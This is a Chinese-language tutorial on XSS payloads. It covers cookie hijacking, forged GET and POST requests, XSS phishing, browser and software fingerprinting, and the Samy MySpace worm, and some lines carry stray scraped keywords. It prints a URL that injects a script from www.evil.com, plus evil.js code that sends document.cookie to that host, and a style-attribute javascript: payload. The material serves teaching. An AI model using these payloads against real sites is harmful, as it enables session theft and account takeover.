Web安全之XSS攻擊

初識XSS Payload

XSS攻擊成功後,攻擊者可以對用戶當前瀏覽的頁面植入惡意腳本,經過惡意腳本,控制用戶的瀏覽器。這些用以完成各類具體功能的惡意腳本,被稱爲"XSS Payload"。
XSS Payload實際上就是JavaScript腳本(還能夠是Flash或其餘富客戶端的腳本),因此任何JavaScript腳本能實現的功能,XSS Payload都能作到。javascript

一個最多見的XSS Payload,就是經過讀取瀏覽器對象,從而發起「Cookie劫持」攻擊。html

Cookie中通常加密保存了當前用戶的登陸憑證。Cookie若是丟失,每每意味着用戶的登陸憑證丟失。也就是,你能夠在不知道密碼的狀況下直接登陸用戶帳戶。java

下面舉個例子,攻擊者先加載一個遠程腳本:瀏覽器

http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script>

真正的XSS Payload寫在這個腳本中,避免直接在URL參數中寫入大量的JavaScript代碼。
evil.js代碼以下,它將document.cookie對象發送到了遠端服務器安全

var img = document.createElement('img');
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

Cookie的"HttpOnly"標識能夠防止「Cookie劫持」,咱們將在稍後具體介紹。服務器

強大的XSS Payload

"Cookie劫持"並不是全部的時候都會有效。有的網站可能會在Set-Cookie時給關鍵Cookie植入HttpOnly標識;有的網站可能會把Cookie與客戶端IP綁定。儘管如此,攻擊者仍是有不少方式可以控制用戶的瀏覽器。cookie

構造GET和POST請求

假設有篇博客所在域的某頁面存在XSS漏洞,正常刪除文章的連接是:app

http://blog.com/article?m=delete&id=123

那麼攻擊者只須要知道文章的id,皆能夠經過這個請求刪除這篇文章了。post

var img = document.createElement('img');
img.src = 'http://blog.com/article?m=delete&id=123';
document.body.appendChild(img);

攻擊者只須要讓博客做者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。測試

對於POST請求,能夠這樣實現
第一個種方法

var f = document.createElement('form');
f.action = "";
f.method = "post";
document.body.appendChild(f);

var i1 = document.createElement('input');
i1.name = 'name';
i1.value = 'value';
f.appendChild(i1);

f.submit();

若是參數不少,經過構造DOM節點的方式,代碼將十分冗長。能夠經過innerHTML直接寫html字符串的方式構造。

第二種方法可使用XMLHttpRequest直接發送一個POST請求。

XSS釣魚

前面介紹的,XSS的攻擊過程都是在瀏覽器中經過JavaScript腳本自動進行的,也就是說,缺乏「與用戶交互」的過程。

好比以前「經過POST表單發消息」的例子,若是要求用戶輸入驗證碼,那麼通常的XSS Payload都會失效。此外,在大多數「修改用戶密碼」的功能中,都會要求用戶輸入原密碼,而攻擊者每每是不知道的。

但這也不能限制住XSS。

對於驗證碼,XSS Payload能夠經過讀取頁面內容,將驗證碼的圖片URL發送到遠端服務器——攻擊者能夠在遠程XSS後臺接收當前驗證碼,並將驗證碼的值返回給當前的XSS Payload。

修改密碼的問題稍微複雜點,攻擊者能夠將XSS與「釣魚」相結合。利用JavaScript實現一個僞造的登陸框,當用戶輸入用戶名和密碼後,將密碼發送至黑客的服務上。

識別用戶瀏覽器

攻擊者爲了獲取更大的利益,每每須要準確地收集用戶的我的信息。好比知道用戶使用的瀏覽器、操做系統,就有可能實施一次精準的瀏覽器內存攻擊,最後給用戶電腦植入一個木馬。

好比使用XSS讀取瀏覽器的UserAgent對象

alert(navigator.userAgent);

可是這個對象是能夠僞造的,因此信息不必定準確。

能夠有另一種技巧,來更準確地識別用戶的瀏覽器版本

因爲瀏覽器之間的實現存在差別,同一個瀏覽器不一樣版本以前可能也有細微的差異。經過判斷這些差別,就能準確的識別出瀏覽器版本。
好比:

if (window.ActiveXObject) // MSIE 6.0 or below

識別用戶安裝的軟件

在IE中,能夠經過判斷ActiveX控件的classid是否存在,來判斷用戶是否安裝了該軟件,選擇對應的瀏覽器漏洞,最終達到植入木馬的目的。

一些第三方軟件也可能會泄漏一些信息。好比Flash有一個system.capabilities對象,可以查詢客戶端電腦中的硬件信息。

瀏覽器的擴展和插件也能被XSS Payload掃描出來。好比Firefox的插件(Plugin)列表存放在一個DOM對象中,經過查詢DOM能夠遍歷全部的插件。

CSS History Hack

咱們再看一個有趣的XSS Payload,經過CSS來發現一個用戶曾經訪問過的網站。其原理利用的是style的visited屬性。若是用戶曾經訪問過某個連接,那麼這個連接的顏色會變得不同凡響。

獲取用戶的真實IP地址

不少時候,用戶電腦使用了代理服務器,或者在局域網中隱藏在NAT後面。網站看到的客戶端IP地址,是內網的出口IP地址,而並不是用戶電腦真實的本地IP地址。如何才能知道用戶的本地IP地址呢?

JavaScript自己並無提供獲取本地IP地址的能力,XSS攻擊須要藉助第三方軟件來完成。好比,客戶端安裝了Java環境(JRE),那麼XSS就能夠經過調用Java Applet的接口獲取客戶端的本地IP地址。

除了Java以外,一些ActiveX控件可能也會提供接口查詢本地IP地址。這些功能比較特殊,須要具體狀況具體分析。

XSS攻擊平臺

有安全研究者將許多功能封裝起來,稱爲XSS攻擊平臺。這些平臺主要是爲了演示XSS的危害,以及方便滲透測試使用。

終極武器:XSS Worm

XSS也能造成蠕蟲

Samy Worm

在2005年有年僅19歲的Samy Kamkar對MySpace.com發起的,這是Web安全史上第一個重量級的XSS Worm。

首先,Myspace網站過濾掉了不少危險的標籤,全部的事件如」onclick「等也被過濾了。可是它容許用戶控制標籤的style屬性,經過style仍是有辦法構造出XSS的

<div style="background:url('javascript:alert(1)')">

其次,Myspace同時還過濾了‘javasript’、‘onreadystatechange’等敏感詞,因此Samy用了」拆分法「繞過這些限制。

最後,Samy經過AJAX構造的POST請求,完成了在用戶的heros列表裏添加本身名字的功能:同時複製蠕蟲自身進行傳播。

XSS Worm是XSS的一種終極利用方式,它的破壞力和影響力是巨大的。可是發起它是有必定條件的。

通常來講,用戶之間發生交互行爲的頁面,若是存在存儲型XSS,則比較容易發起XSS Worm攻擊。

好比,發送站內信、用戶留言等頁面,都是XSS Worm的高發區。

相關文章
相關標籤/搜索